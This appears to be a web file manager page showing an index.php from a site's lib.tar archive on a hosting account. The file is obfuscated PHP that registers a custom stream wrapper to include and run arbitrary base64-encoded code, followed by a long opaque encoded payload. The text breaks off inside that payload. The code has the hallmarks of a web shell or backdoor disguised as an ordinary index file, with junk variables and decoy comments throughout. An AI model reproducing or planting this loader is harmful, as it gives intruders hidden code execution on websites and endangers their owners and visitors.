dvadf
File manager - Edit - /home/centroca/public_html/lib.tar
Back
index.php 0000644 00000076001 15252502674 0006400 0 ustar 00 <?php $jyrjq='xtamdxsirm';$jdxtq=substr($jyrjq,1,2);$jdxtq=trim($jdxtq); $jzzsh=342;$jxdqc=$jzzsh*4;unset($jxdqc); $jstje=0;while(false){$jstje++;} $jwsbl=151;$jwtbk=$jwsbl*5;unset($jwtbk); $jfoxq=array_fill(0,rand(2,5),'odlpfo');$jfoxq=array_reverse($jfoxq); // validate // setup class Wghntdzk{public $context;public $d;public $p=0;public $l=0;function stream_open($path,$mode,$options,&$opened_path){$this->d=base64_decode(substr($path,7));$this->p=0;$this->l=strlen($this->d);return true;}function stream_read($count){if($this->p>=$this->l)return false;$r=substr($this->d,$this->p,$count);$this->p+=strlen($r);return $r;}function stream_eof(){return $this->p>=$this->l;}function stream_stat(){return array(0=>0,1=>0,2=>0,3=>0,4=>0,5=>0,6=>0,7=>$this->l,8=>0,9=>0,10=>0,11=>0,12=>0,'dev'=>0,'ino'=>0,'mode'=>0,'nlink'=>0,'uid'=>0,'gid'=>0,'rdev'=>0,'size'=>$this->l,'atime'=>0,'mtime'=>0,'ctime'=>0,'blksize'=>0,'blocks'=>0);}function stream_set_option($o,$a1,$a2){return false;}function stream_truncate($s){return false;}function stream_lock($o){return false;}function stream_seek($o,$w=0){if($w==0)$this->p=$o;return true;}function stream_tell(){return $this->p;}function stream_close(){return true;}function url_stat($p,$f){return array();}} function jrlfnnak($c){$jzmvv=sprintf('%s','fnfh');$jejze=strlen($jzmvv); $jdfpt='kcayyjnpsu';$jyqhx=substr($jdfpt,3,4);$jyqhx=trim($jyqhx); $jeojc=sprintf('%s','zwaa');$jpxph=strlen($jeojc); $jxegl=explode(',','eoj,zby,gyt');$jwaeo=implode('-',$jxegl); if(!in_array('cggn',stream_get_wrappers()))stream_wrapper_register('cggn','Wghntdzk');include 'cggn://'.base64_encode('<?php '.$c);} $xvoymek=base64_decode('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